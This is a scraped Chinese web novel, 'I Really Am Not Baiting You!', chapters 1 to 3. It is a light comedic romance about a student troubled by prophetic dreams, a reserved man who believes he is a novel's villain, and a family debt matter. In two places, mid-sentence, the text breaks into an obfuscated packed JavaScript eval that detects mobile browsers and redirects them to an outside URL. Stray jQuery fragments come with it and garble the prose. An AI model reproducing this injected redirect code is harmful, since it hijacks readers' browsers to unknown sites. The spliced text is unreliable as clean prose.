《我真没有在钓你!》
1. 第 1 章
夏星时单手撑着下巴,盘腿坐在冰钓帐篷里。
帐篷不大,但麻雀虽小,五脏俱全,东西塞得满满当当。
南朝向有两个开好的钓口,钓口前分别坐了两个中年男人,一个是夏星时他爸,另一个是夏星时他二叔。俩人中间摆着一个电炉子,既能当取暖器又能烧热水,是冬日外出冰钓的必备好物。
炉子下面摆了仨搪瓷缸,看成色已颇有历史痕迹。此刻,夏星时他爸正往搪瓷缸里放茶叶,想来是打算在热水烧开的那一刻将开水倒入茶壶。
“叮”——的一声,证明热水烧好了。
在一旁虎视眈眈良久的夏星时零帧起手,以男大本不该有的敏捷拿起水壶,将开水倒进速食酸辣粉桶中。
夏爸没想到自己只是往钓口丢鱼食的功夫,开水就被截胡了。
他眼睛一瞪:“现成的热乎包子不吃,非得吃垃圾食品,这里面全是添加剂!”
夏星时用顺手拿起茶壶盖扣在酸辣粉桶顶,并抚摸桶身,安抚酸辣粉情绪。
该死的,我们酸辣粉可听不得这种话!
夏星时叹气,语气幽幽:“要是在包子铺我喝了那口羊汤,区区速食酸辣粉怎么可能入我的眼。”
还我羊汤!
夏爸眼神闪烁:“等你喝完那都几点了,来晚一步,好钓点可就没了!”
请问,都是冰面有啥区别?而且,难道这鱼就非钓不可么?夏星时在心里嘀咕,到底没敢吱声。
他无意挑战中年男人对钓鱼这项伟大事业的狂热之心。
就在爷俩即将因一口热水牵扯出世纪大战之时,一直默不作声的夏二叔开口了:“来鱼了啊来鱼了啊!”
夏星时往二叔那边看了一眼。
在钓鱼这项事业上,二叔比他爸可夸张多了,带了个探鱼器,主打实力不够科技凑。
夏老爹伸脖子看了一眼,对老弟开挂的做法表示强烈谴责:“你这样钓鱼没有灵魂的!”
夏二叔不甘示弱梗着脖子说:“我不钓灵魂!”
现在我们看见的科技新派钓鱼佬和传统派钓鱼佬的赛前叫板,双方选手各执一词、针锋相对、水火不容,真是让人热血沸腾,让我看看双方现在的表现!
科技派钓鱼佬利用科技优势率先勾中一条小鱼,传统派不甘示弱紧追其后也是上钩一条鱼苗!但由于钓鱼佬钓鱼公约以及图吉利等因素,加上这第一尾鱼实在是太小了,所以双方均选择放生,那么现在——
空军!都是空军!
夏爸和夏二叔莫名感觉周围有些喧嚣。
夏星时避开两人疑惑的眼神,掀开酸辣粉盖,热气冒了出来,仿佛给他的解说划上一个完美的……额,破折号。
闹小鱼儿的钓鱼佬心情不佳,听见夏星时嗦粉的声音立刻开启无差别扫射:“让你过来当气氛组的啊,啥也不干。”
被殃及池鱼的夏星时作势起身:“那我走?”
说得好像他想来一样。
夏爸哎哎两声,用肢体动作和眼神生动形象的表达自己真挚的挽留。
于是夏星时压根没抬起的屁股原地微调一下,稳稳的很安心。
夏爸为自己挽尊:“我跟你说,你这几天昼伏夜出的,天天在家熬夜看短视频,你妈对你的容忍度已经很低了,爸带你出来是让你免骂的。”
夏星时心想你带我出来难道不是为了等一会儿回去的时候有人分担火力吗?
他直接无视亲爸后半段话,针对前半段进行回应:“我没熬夜,就是这几天有点失眠。”
夏爸根本不信:“啊对对对。”
夏星时对此并不意外。
毕竟自己从小到大沾枕头就着,外面天打雷劈都影响不到他睡觉,但最近他真的睡很差!
“人心不古,说真话也没人信。”夏星时化悲愤为食欲,猛嗦一口粉。
这几天他是真的整夜整夜的做梦,梦的内容断断续续,细节模糊不清,大致情节就是一个家中突逢巨变的青年被迫和四个男人的纠缠,而且故事的结局不是很符合普世价值观的大被同眠的五角恋结局。
而他是推动剧情的关键人物,这么说吧,没有他,那五个主角都不至于这么纠缠!
夏星时第一次做这个梦醒来时恍惚许久、难以回神。
当时的夏星时一度以为自己是看短剧把脑子看坏了。
为此他甚至狠心戒掉了短剧,可梦境却并没有因此放过夏星时。
最近一周,他就循环在多梦、惊醒、睡不着,最后通宵的循环中。这一套小连招下来他是精神萎靡、腰酸背痛,状态很差。
为了拯救岌岌可危的睡眠,夏星时尝试了晨跑、打太极、听白噪音等方法。结果显而易见——没用。
夏星时一开始其实没当真,但他发现剧情中的“双胞胎”好像的确存在后——难道这是地球ol给我发的剧本?
难不成大家都有地球ol剧本?
那游戏系统呢?
二十岁了还没有地球ol系统算不算残疾?
以及,我到底什么时候才能恢复正常睡眠?
人生在世除了吃喝就是睡觉。
拥有过宝宝般的睡眠,再让他失眠多梦简直是酷刑。
人果然只有失去才知道珍惜。夏星时感叹。
他陷入感慨中时,钓鱼主理人之一的夏星时他二叔已经和另一位主理人开启了新话题:“这有的人表面看着挺正常的,私底下居然赌博。”
夏星时耳朵一动从感慨中抽身。
毕竟吃完饭也该吃瓜了。
夏爸喝了口热茶,慢悠悠开口:“咋的,有人找你借钱去赌,人跑了?”
太阳底下哪有新鲜事,夏爸一听就知道是咋回事。
赌的时候装的人模狗样谁都不知道,等到还不上暴雷了,肯定是哭天抢地,闹得家宅不安。
“对!”夏二叔一拍大腿。
“那人昨天晚上给我发了个诀别微信,说自己欠谁谁谁多少多少钱,房子车子都抵押了,然后说自己愧于老婆孩子,愧对兄弟。不是个东西,准备自杀了。”
“说实话我也没信,但是他老婆没多久就给我发消息说报案了,公安局没找到人也没找到尸体,暂时定性是失踪了。”
咦?正在给自己倒热水的夏星时顿了顿。
二叔你这个兄弟怎么像我梦里那个主角的爹呢?
——过年期间,主角父亲自爆赌博欠款几百万,随后失踪从此找不到人,之后主角为了填上这笔巨额欠款,委身给霸总攻一当替身……
夏二叔叹了口气:“我算了一下,把高利贷排除在外,他也至少欠了三百多万。这笔钱对他们家是天文数字了。”
“他儿子跟星时一个岁数,挺好的一小孩,摊上这么个爸,倒了血霉了。”
夏爸转头问:“你借他多少?”
夏二叔:“二十来万吧,没多少,我媳妇的意思是就不要。”
对他们家来说的确不是大钱,不会因为这笔钱造成什么不可挽回的损失,但这是夏二叔的私房钱,还是有点小伤心。
夏爸:“正确的选择。这事你就别沾边了。那边要是问起来你就说是不着急用钱,以后他们要是不能还上就当没这事,要是还上了那孩子也得承你的情。”
夏星时给二叔的小茶杯里续上热水,主动加入话题:“现在摄像头这么多,还能找不到人啊?”
二叔:“是在乡下老家失踪的,摄像头没照着人,而且吧,他这种自己跑的,除非身上有案子,不然不好整。”
二叔点到为止,话锋一转。
“一年到头就回家那么两天,非得这时候幡然悔悟?还不是早就算计好了。”二叔的杆子上了鱼,边提钩边感叹,“人娘俩人倒是挺好的,还说过完年让我们抽空去公安局报案,确认一下欠款金额。”
夏爸点评:“能不能还上不提,先把姿态做出来了。”
夏星时忍不住:“爸,你这就有点小人之心了吧。”
夏爸啧了一声:“不是我小人之心,是你不懂赌狗。”
“他爸都要跑路了,肯定是已经把家里榨干了,一个还在上大学的学生拿什么还钱?”
“他爸的个人银行债务以及高利贷和各种熟人债,只要他母子能出具这笔钱没有用于婚姻建设的证明,法律层面上就不是人娘俩的债。”
“他能管所谓的兄弟借钱赌博,就敢骗他老婆孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109959|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子给他做担保、或者在银行贷款给他赌。就算有心还钱,也要先还银行的钱,因为这笔账不是记在他爸头上的,是记在他们娘俩头上的!”
夏星时被迫学习了一波法律知识。
此时此刻就算爸爸依旧空军,他对爸爸的崇拜也达到了顶峰。
看着儿子震惊且崇拜的小眼神,夏爸心里有点小骄傲。
“欠你钱的那家是在B市生活吧,”夏爸问夏二叔,见后者点头,他才接着说,“正好星时过两天回B市了,你就别去了,让星时过去给你看看,就当锻炼了。”
.
没出十五,夏星时就回了B市,主要目的是给他二姐遛狗,次要目的是锻炼锻炼、长长见识。
夏星时他二姐家养了只德牧,大型犬,日常运动量巨大,保姆阿姨实在是遛不动。
原本他二姐计划过年回家两天,然后就回B市,结果中途被队里叫过去出差,只能托付给同在B市的好闺蜜;但闺蜜姐被家里安排了多轮相亲实在分身乏术,于是把照顾狗的工作外包给自己的表弟。
据说表弟今年快毕业了,在大厂实习,过年不放假。
听着就怪惨的。
夏星时他二姐也不好意思出了节还麻烦别人,于是这项艰巨的任务就交给了夏星时。
家生子用起来就是顺手。
夏星时下飞机后打车到小区门口,然后随手把账单发给二姐。
大人,时代变了,家生子不止要报销,还要拿工资。
夏星时还没走到他姐家,就在小区的广场上看见了自己本次工作的服务目标——一只帅气的在玩飞盘的德牧。
夏星时刚要往广场里走,德牧似乎嗅到了夏星时的气息,大狗狗叼住飞盘后敏锐的转头看向夏星时,它停顿两秒,然后撒开腿朝夏星时这边跑。
夏星时见状蹲下来,他张开双臂:“豆包!”
大宝贝扑上来,对着夏星时又闻又舔,兴奋极了。
豆包:“汪汪汪!”
夏星时被扑的坐在地上,慌忙抱住狗头:“豆包,你已经长大了!”
三十多公斤大宝贝的爱实在太过沉重,他承受的有些艰难。
豆包也意识到自己不是小狗了,停下动作,乖乖在夏星时身边坐好,只是眼神有点委屈。
夏星时牵制住豆包后才将目光放在跟着豆包一起跑过来的男人身上。
个子很高,眉眼冷冽,头发一丝不苟的梳起,一根碎发没有,宽肩窄腰,挺拔的像松柏。许是因为冬日的阳光不太热切,夏星时觉得这人身上透着冷,气势很盛,有种危险的压迫感。
“是封煜哥吧,这段时间麻烦你照顾豆包了。”夏星时仰着头看着封煜,脸上下意识挂上笑容。
封煜提着狗绳,脚步停下,看向蹲在地上笑容明媚的男生。
他长了张出众的脸,五官明艳精致,皮肤细腻干净,浅蓝色的羽绒服穿在他身上显得很乖巧,眉宇间的笑意,暖的仿佛能驱散冬日的冷风。
比照片还好看。
还不等封煜开口,夏星时接着说:“豆包刚才朝我跑吓到你了吧。”
封煜根本没听清夏星时在说什么,只下意识点了点头。
夏星时从封煜手里接过狗绳,给豆包系上,并对着豆包指指点点:“是要好好教育教育你了,就算是认识也不能随便扑人啊,三十公斤还以为自己是小狗呢?”
豆包仿佛听懂了,委委屈屈:“汪……”
系好狗绳,夏星时站起来。
方才坐着看着的不真切,站起来才他才意识到封煜比他高一点,从夏星时的视角刚好能看见封煜清晰的下颌线条。
“稍等,还有玩具在草坪上。”封煜解释一句,转身就走,似乎落荒而逃。
夏星时来不及阻止,只能拖着行李箱牵着狗往大路那边迎迎。
封煜收拾好玩具,拎着包走到夏星时旁边,然后顺手接过后者的行李箱。
夏星时:“谢谢哥。”
他长相是明艳挂的,笑起来却满是恣意感,少年气十足,看起来特别乖。
封煜紧绷的情绪在此刻也松懈下来,直到夏星时说——
“哥你下颌线挺好看的。”
2. 第 2 章
冬日的冷风没能遮住夏星时那轻轻扬起的尾音,那清浅的笑声,反倒随着风吹进封煜耳中。
封煜看着夏星时,整个人好像愣住了。
“哥你冷不,要不我自己推箱子吧。”夏星时完全没把自己随口说的话放在心上,自然而然的转换到别的频道上。
“没事。”封煜眼神错开。
“那麻烦哥了!”
夏星时牵着豆包走在前面,背上背着一个大登山包,哼着不知名的小调,脚步看起来很欢快。
封煜观察着夏星时,默默将夏星时的危险程度往上提了一个档。
虽然这是他第一次见夏星时,但他不会小看这个人。
毕竟,夏星时是书中最危险、最恶劣、最诡计多端的一个角色。
是的,书中。
很早以前,封煜就知道自己是一本狗血爱情小说的终极反派。
对于封煜来说,那是一场荒诞的梦。
梦里,他和主角团作对,不是因为仇怨也不是利益冲突,仅仅是因为“他”爱上了一个性格恶劣的“男二号”。
为了让男二那个恶劣乐子人能快乐的看乐子,为了成为男二号最特别的那一个玩具,“他”努力的简直离谱。
“他”甚至没想过得到男二号的爱。
而夏星时就是这个男二。
那个梦镜,封煜完全不理解。
他根本不会为了毫无意义的感情做出那些愚蠢的事情,更不可能喜欢夏星时。
他只希望夏星时不要给他找麻烦。
夏星时背着包又牵着狗,步伐逐渐慢了下来,他和封煜的身位也逐渐变成封煜在前夏星时在后。
两人之间几乎没有交流。
夏星时眨眨眼睛。
他其实很想跟封哥聊聊天,但封哥给他的反应就是那种“不想说话”的i人。
强迫i人聊天也太不礼貌了!
夏星时的表达欲只能放在豆包身上:“豆包,你帮哥哥背书包好不好。”
豆包歪头:“汪?”
小狗可听不懂你在说什么。
作为一只成年德牧,豆包精力旺盛,活动量巨大,在铲屎的因负重走路略显疲惫的时候,豆包意图加快速度去追自己的玩具。
豆包狗力全开,小跑几步,很快和封煜平行。
它撞了一下自己的玩具包,仰头朝着封煜“汪”了一声。
莫名有种狗仗人势的既视感。
夏星时没忍住对封煜说:“哥,豆包很喜欢你呀。”
封煜视线随意扫了眼豆包,语气毫无起伏:“还好。”
夏星时:“哥你这几天在这边住的还习惯吗?”
搬狗的难度远比搬人高,考虑到只有七八天,来回折腾过于麻烦,所以本次外包工作由封煜提着行李箱到豆包家里照顾豆包。
封煜:“还好。”
夏星时:“豆包没给你添麻烦吧?”
封煜:“还好。”
还好牌复读机吗?
夏星时停顿片刻,转换话题:“过年期间还要加班,你们老板有点没人性啊。”
封煜闻言看了眼夏星时:“还好吧。”
居然多了一个“吧”!
夏星时双眼一亮,心想对打工人吐槽老板果然破冰妙招!
就在夏星时打算以此为突破口打开话匣子时,封煜却接着说:“毕竟我也要多学习。”
“……哈哈,这样啊。”夏星时干笑。
看来封煜哥一定很喜欢工作吧。
很好,很有干劲儿!
广场离家只有十分钟的距离,他们很快到家,打开门时一股热气扑面而来将寒意驱散。
夏星时进屋之后先给豆包卸掉狗绳,他卸下背上的大书包,然后拉开羽绒服拉链,露出里面的鹅黄色卫衣。
他抽出玄关的湿纸巾给豆包擦爪。
夏星时擦爪时抽空抬了下头:“对了封哥,你住的是哪间屋?”
二姐家里一共三间房,主卧朝南,两间客卧朝北。
封煜:“第一间。”
夏星时:“好,那我住旁边这个。”
豆包的脚脚擦干净后立刻撒欢跑进自己窝里。
夏星时:“太热了哥,我先去换个衣服。”
进暖气房的重要流程就是脱衣服。
他边说边脱羽绒服,然后一手抱着羽绒服一手拎着书包进了客房。进屋之后夏星时迅速把身上棉裤和加绒卫衣脱了,从包里拿出早就准备好的单衣换上。
暖气给的足,刚刚暴露在冷空气下的手没一会儿就暖了起来。
他换好衣服后,拎着一个小礼袋走出来。
封煜看见他出来,抢先开口:“既然你来照顾豆包,那我就不多留了。”
见夏星时似乎有些没反应过来,封煜补充说:“下午收拾好行李我就走。”
封煜不愿意和书中这位恶劣的男二有什么接触。
他讨厌麻烦。
如果早知道这狗是夏星时姐姐的狗,他根本不会答应给表姐帮这个忙。
昨天表姐发信息跟他说闺蜜的弟弟叫“夏星时”后,封煜就想走了。他本打算今天遛完狗子就回来收拾行李,尽量不和夏星时碰面,只是没想到夏星时来的居然这么快。
“可是……”夏星时眉头微皱,似乎有些不解,“我们不是要一起过元宵节吗?”
封煜:?
夏星时的眼神、表情、语气都充满了困惑,封煜甚至有一瞬间觉得是自己有问题。
谁要跟你一起了?
“我妈寄了元宵过来呢……”
“是工作很忙吗?”
夏星时询问时眼神中带着热切的期盼,仿佛是在祈祷封煜能留下来。
作为被这眼神攻击的唯一目标,封煜身体下意识紧绷起来。
“嗯。”
“这样啊。”夏星时肩膀耷拉下来,眼神也从期盼转为遗憾,整个人的气息都萎靡起来了。
夏星时语气恹恹:“工作要紧,我理解的。”
但他还是没忍住嘀咕一嘴:“过节也要加班吗,你们老板也太过分了。”
封煜:“大部分公司初八就该上班了。”
而且大部分公司年三十当天才放假,而我司除夕就放假、初十才上班。哪里过分了?
难道还要让他们过完情|人节再收假吗?
老板本人如此想着。
夏星时:“……”
拥有寒假的大学生完全无法理解为什么封煜会给老板开脱。
夏星时没吱声,眼神往旁边飘了一下。
大概封煜哥真的很喜欢上班吧。
封煜:“那我先……”
“对了,封哥!”夏星时像是突然想起什么,突然抬起手,“我给你带了新年礼物!”
……回屋收拾行李。封煜默默咽下后半句话。
夏星时跑回屋里,拎出一个礼品袋:“是我自己做的小摆件,不是什么贵重物品,收下吧。”
夏星时笑容是那种热情但不越线,恰到好处的明媚,很容易让人卸下防备。
封煜将视线从夏星时脸上移开,转而看向面前的红色礼袋,沉吟片刻还是选择接过礼袋。
“谢谢。”
“要不要拆开看看?”
虽然是疑问句,但夏星时的神情和语气明显是在期待封煜能拆开。
没什么好拒绝的。封煜从礼袋中拿出一个被包装起来的小盒子,小心翼翼将上面的绑带解开。
夏星时托着下巴说:“盒子也是我自己叠的。”
完全是一副求夸奖的样子。
封煜:“嗯……很厉害。”
他打开盒子,胖乎乎的木雕灯笼躺在盒子里,喜庆的红色覆盖在灯笼上,造型上还有一个黑豆豆眼,侧面是两只叉腰的小手。
精致又可爱。
封煜拿出红灯笼,手感非常不错。
他注意到灯笼底座上似乎有字,下意识翻转到底座,看清上面的字——祝封煜新年快乐!天天开心!
“没出十五就是年,祝你新年快乐!”夏星时拍拍手。
夏星时的手很漂亮,手背上的青筋微微凸起,手指骨节分明修长白皙,指尖修剪的干干净净,透着微微的粉。
封煜看见夏星时左手手指上贴了一个创可贴。
夏星时:“谢谢你过年还抽空来照顾豆包。”
封煜:“没事。”
封煜的回应着实算不上热情,不过夏星时已经给封煜打上“内向”、“不擅表达”、“沉默寡言”等标签,并没有觉得对方不礼貌。
“我本来以为咱们俩会一起过元宵节呢,”夏星时幽幽一叹,“我一个人……哦,我还有豆包,还好豆包是条乖狗狗。”
“对了封哥,你地址在哪啊?等我妈的元宵寄过来我给你送点过去吧,要是加班的话,我给你寄到公司?”
他觉得封哥在外打工,肯定和他一样也是孤家寡人,他起码还有一条狗陪着,而封哥甚至要上班!听着就很苦。
“我妈做了好多馅,巧克力、哈密瓜、玫瑰……当然还有正经的黑芝麻馅。”
“哥你喜欢什么馅的?”
夏星时语速飞快,最后还是没忍住脱口而出:“还有,真的不能和我一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109960|195854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起过元宵节吗?”
封煜本以为自己的立场是十分坚定的。
“……也不是不行。”
夏星时双眼骤然亮了起来,粲然一笑:“你人也太好了吧!”
封煜感觉有点头晕。
他的立场被彻底击碎,连一丝碎片都没留下。
.
夜色已深,房间里,封煜接到了表姐的电话。
电话那头说:“我听圆圆说星时已经到了。”
封煜嗯了一声。
表姐:“本来是我答应给圆圆照顾豆包的,结果……哎,该死的相亲。这次真是麻烦你了。”
封煜:“不麻烦。”
表姐:“家里做了些腊肉,给你寄过去?”
还不等封煜回应,电话那边接着说:“你可千万收下吧,要不然我爸就要杀到你家去了。”
他仅剩的亲人只剩下舅舅一家,不过他们的关系不是特别亲近,甚至可以说是陌生。
上一辈的复杂关系,虽然因为罪魁祸首的逝去变得缓和,但隔阂依然存在。
封煜顿了顿说:“我不在家。”
表姐:“在公司?寄到公司也行啊。”
封煜:“我在豆包家。”
那边静了片刻,语气透着一阵明显的诧异:“……星时到了,然后你没走?”
封煜:“嗯,可能要留几天。”
表姐:“……那我给你寄到圆圆家里?”
封煜:“行。”
挂断电话,封煜看向放在床头被打开的礼盒。
封煜开始为自己的昏头后悔了。
但下一刻,夏星时失落委屈的样子冲入脑海之中,不讲理的湮灭了那些后悔。
没有人能拒绝夏星时。
.
“姐,我从你屋里拿了套旧被罩。”
夏星时正和二姐视频通话。
他二姐夏元瑾正躺在床上边吃苹果:“用完你就带走吧,正好我要换新的了。”
夏星时:“昂,行。”
夏元瑾:“豆包怎么样啊。”
夏星时回:“乖得很,吃嘛嘛香,身体倍棒。你那边还顺利吗?”
哟,关心我?不可能。
夏元瑾摇摇头:“月底肯定能回去你就放心吧,不会耽误你回学校的。”
夏星时完全没有被戳穿的尴尬:“嗨,瞧你这话说的,学校离你家也就两个小时地铁的路程而已,就算开学了我也愿意来回奔波照顾豆包,给姐姐办事我能怕麻烦吗,都是我心甘情愿的!”
夏元瑾闻言先是翻了个白眼,然后没忍住乐了。
她弟的嘴那是真甜,谁听了不迷糊啊。
姐弟俩唠了会家常,不知道怎么就拐到了封煜身上。
夏星时说:“封哥公司也是的,过年期间都已经加班了,怎么年后也不补假啊,他老板是什么吸血鬼吗?”
“可能是比较刻苦吧。”夏元瑾对闺蜜表弟的情况也不太了解,只从闺蜜那边听说这孩子父母都没了,现在唯一的亲戚就是她们家了。
姐弟俩没在这个话题上多停留,随便聊了会家常就挂断了通话。
夏星时之后又在游戏的海洋中沉浮了两个小时,时针逐渐指向十一,上眼皮数次想要去触碰下眼皮,他实在是扛不住了。
不是夏星时想熬夜,而是他一想到又要因为做梦而夜半惊醒,就对睡觉这件事有点抵触。
“反正睡不着,还不如熬穿了……”
要不找个庙拜拜吧……玉皇、佛祖、老君、关二爷挨个拜拜?话说不知道妈祖管不管这事?
夏星时有点实用主义和实践精神,既然不知道谁管用,那就多管齐下。
庙里要烧香、道观也要拜、教堂也不能缺席。
竞争上岗是必要的!
带着乱七八糟的思绪他陷入睡眠。
这夜他睡得异常安稳,一夜无梦,清晨太阳打到眼上才悠悠转醒。
许久没睡这么香过的夏星时起床时还有些迷糊,良好的作息让他没有赖床,他睡眼惺忪的到客厅接了杯温水,咕咚咕咚喝完,逐渐清醒过来。
居然没做梦?
难道是他的竞争上岗决策真的激发了神仙们的竞争力?
夏星时的胡思乱想被开门声打断。
是封煜牵着豆包晨练回来了。
夏星时看见坐在门口等待擦脚的豆包,露出恍然大悟的神情。
懂了。
是黑狗辟邪!
帅气的豆包顶着张黑脸朝夏星时“汪”了一声。
夏星时点头。
嘿,脸黑怎么不算黑狗呢!
3. 第 3 章
“你上班早上多睡会儿呀,豆包等我白天带它出去玩就行。”
夏星时以为封煜是为了遛豆包才早起的。
封煜也没解释自己是没睡好,点头应下。
夏星时走到门口,顺手接过封煜左手拎着的袋子,打开一看是早点,“买这么多呀。”
随着夏星时的靠近,封煜嗅到了一阵清香,很好闻。
洗发水?
他晃了下神,随后垂眼蹲下,解开豆包的链子,声音平淡:“不知道你喜欢吃什么,就都买了点。”
“我不挑食,都喜欢的!”夏星时闻言眼睛弯了起来,“先去洗手吧,我去拿碗筷。”
他拎着一兜早餐转身去了厨房,哼着不知名的小调,步伐轻快雀跃,看起来心情很好的样子。
封煜悄悄看向夏星时。
豆包:“汪!”
他立刻收回视线,转头去了洗手间。
等封煜洗完手出来,早餐已经上桌摆好。
餐桌是木质方型桌,夏星时将两幅空碗筷放在一侧桌角的两边,封煜本想离夏星时远点,最好是对面,但见状也只能沉默的在夏星时身边坐下来。
等封煜坐下,夏星时才动筷子,他夹起一片切好的酱香饼感叹道:“原来清晨的酱香饼会刷这么多酱。”
夏星时一口吃掉酱香饼,筷子一转又夹起包子咬了一口,随后双眼猛地一亮:“豆沙馅的诶,张记包子铺的?”
封煜思考片刻,点头。
他没特意关注包子铺的名头,不过应该是。
夏星时感叹:“他们家豆沙馅包子是招牌,不过每天就做两百个,出锅就没,我都没吃到过。”
夏星时算是早睡早起作息良好的那类了,但比起天不亮就起床的社畜和初高中生来说他就差远了。
早餐铺子主要服务的就是这类早起人群,他这种天亮才出门的,肯定是吃不到热卖品类的,甚至卖得好的摊子他连见都见不到。
他又想起之前陪老爹凌晨四点出门钓鱼路过的那家羊汤包子铺。自己以前可从来不知道那家包子铺还卖羊汤。
“清晨难道是另一个世界吗?”
夏星时忽然对清晨的世界充满了好奇,不过考虑到自己最近捉摸不定的睡眠,他还是决定暂时放下自己的探索之心。
毕竟自己这个年纪,正是睡觉的时候。
封煜沉默吃饭,偶尔会侧目往夏星时那边看一眼,做一些礼貌的回应,但总是在夏星时看向他前收回视线,坚决不和夏星时对上目光。
大概是因为屋里暖气太足,夏星时穿的是短袖,应该是穿旧的常服退休再就业到睡衣岗位发光发热,导致领口松松垮垮的,白皙的脖颈和精致的锁骨一览无余的展现出来。
封煜又闻到了属于夏星时的清香。
他垂下眼。
他对夏星时没有兴趣,更不想引起夏星时的注意,成为被夏星时玩弄的玩具。
元宵节过后他不会再和夏星时有任何交集。
夏星时看见封煜故意错开视线却并不在意。通过昨天的相处他已经确认封煜是个善良、不善言辞又不会拒绝别人的慢热好人!
嘿,一个愿意陪他过元宵节的人能有什么坏心思呢!
夏星时这般想着,并对豆浆油条酱香饼豆沙包完成了雨露均沾成就,坚决不让任何一项食物寒心。
封煜买的品种虽然多,但总量刚刚好,两个人吃不会浪费。
夏星时均沾完,吃了个八分饱,抬头看见封煜的豆浆连吸管都没插上:“封哥,你不喝豆浆呀?”
封煜摇头:“我喝粥。”
封煜买了两杯豆浆一杯小米粥。他的计划是如果夏星时喝粥,他就喝豆浆;如果夏星时喝豆浆,他就把两杯都给夏星时。可惜夏星时摆盘的时候顺手把两杯豆浆给分了,让他的计划出了一点小意外。
不过从这次意外他也看出来了,夏星时应该是不喜欢喝粥,因为那杯粥被夏星时下意识的放在了自己这边。
封煜回应完继续低头吃饭,但他一直能感受到旁边传来的炙热视线,他停顿片刻,轻轻把豆浆推给夏星时:“你喝吧。”
“哥你人真好。”夏星时接过豆浆,把吸管插进杯子里。
不是他馋,实在是一杯豆浆的量太少,吸两口就没了,而他刚才吃的有点噎,想顺顺食。
夏星时一口吸完了半杯豆浆,然后抽空问:“哥你晚上几点下班呀。”
封煜:“六点左右。”
夏星时眉头微皱,随后松开:“也行,那晚上回来吃饭吧,正好我露一手。”
封哥负责了早饭,自己当然应该负责晚饭!
封煜原本计划吃公司食堂,但在夏星时的注视下缓缓吐出一个字:“……好。”
我真的能拒绝他吗?
封煜不禁询问自己。
.
夏星时收拾好餐桌和厨房,给往智能喂食器灌满了狗粮、检查一下喂水器正常运行,最后铲完屎……
他扭头看了眼趴在阳台窝里惬意玩球的豆包。
“人不如狗。”
夏星时对豆包说:“我下午回来,你别拆家啊。”
阳台的空间是二姐特意给豆包划出来的,豆包想拆家也只能拆它自己的窝。
豆包举爪:“汪!”
夏星时出门落锁,往小区外走的时候考虑到底是打车还是坐地铁。
由于本次外勤没有报销,且他早上吃的有点多,最终决定坐地铁。
他今天上午的行程是按照他爸的意思去“见世面”,其实就是去看看欠二叔钱的那家人是什么情况,简单来说就是跑腿。
不过现在这事已经跟二叔没啥关系了,他爸已经做主把这笔债买下来了。
二叔借出去的钱用的是自己的私房钱,实际价格二十万,但跟二婶说的是两万。二叔对于亲大哥慷慨解囊帮他回血私房钱这事自然是乐意至极,夏星时因此还从二叔那边拿到了两千的小费。
叔侄俩都有光明的未来。
夏星时下地铁后,按照地图指示来到清西区派出所,他给一个头像海绵宝宝的对话框发去一条消息,然后径直往里面走。回B市前,夏星时已经通过二叔添加了那家儿子的好友,他们约好今天在警局见面,核实欠款信息。
派出所里并不冷清,倒不是案情多,而是因为右侧通道拍身份证区域比较火热,看得出来,刚过完年的大家都很丢三落四。
夏星时身体往左边转,看见坐在等候椅上的一位身形消瘦的青年,他很憔悴,看得出来这个年过的并不好。
夏星时上前一步:“你好,请问是谭淮先生吗?”
听见耳边响起的清润声音,谭淮抬起头,撞进一双含笑的眼睛,而后才看清那张堪称姝丽的脸。
好看的有些过分了。
谭淮晃了下神,慢了片刻才站起:“我是谭淮,你是夏……”
“夏星时,替我家里人来的。”
“哦,好。”谭淮点头,双手下意识的去整理头发。
这大半个月,谭淮精神时刻紧绷着,他不敢崩溃,如果连他都崩溃了,这个家就彻底完了。
可是那些欠款、那些贷款,他还的上吗?
他从未想过自己平凡的生活会变成这个样子,他好像没有未来了。
颓败萎靡的气息攀附着他,谭淮感觉自己是只下水道的老鼠。
反观夏星时热情、开朗、朝气蓬勃。
还是他的债主。
谭淮放下手,双眼微垂,声音低了些:“我带你去见张警官。”
夏星时从书包里拿出早就准备好的证据。
聊天记录、转账证明、欠条……
来警局一方面是为了确认金额,毕竟老百姓在警局少有敢弄虚作假的;另一方面就是联合报案。
报的是诈骗案。
谭淮父亲目前是失踪状态,加上诈骗就是潜逃,联合报案数额越大越受重视。
不过就连谭淮也没指望报案就能把他爸抓到。
跑了十几天了,要能抓到早抓到了。
夏星时把证据复印件都交上去后,他这次的外勤就算结束了。至于长见识?他爸只是想让他上一堂生动的社会实践课而已,顺带跑腿。
交完文件,他走到谭淮面前,温声说:“我家里人的意思是,这钱不用着急还,你们先把自己日子过好了,什么时候富裕了再说。”
谭淮愣了一下。
这几乎是在明示不用还钱了。
这几天他见了太多的人,都是他爸借过钱的朋友。三五千、三五万都有,来家里看望他和他母亲,言语中有抱怨也有试探。
抱怨他爸借钱人跑了,试探他们家到底能不能还钱。
谭淮知道,欠债还钱、父债子偿,天经地义。
但他还是难免心生烦躁。
他咨询过律师,这些欠债,他是可以拒绝继承的!但他和他妈从来都没打算赖账!
夏星时是第一个跟他说“先好
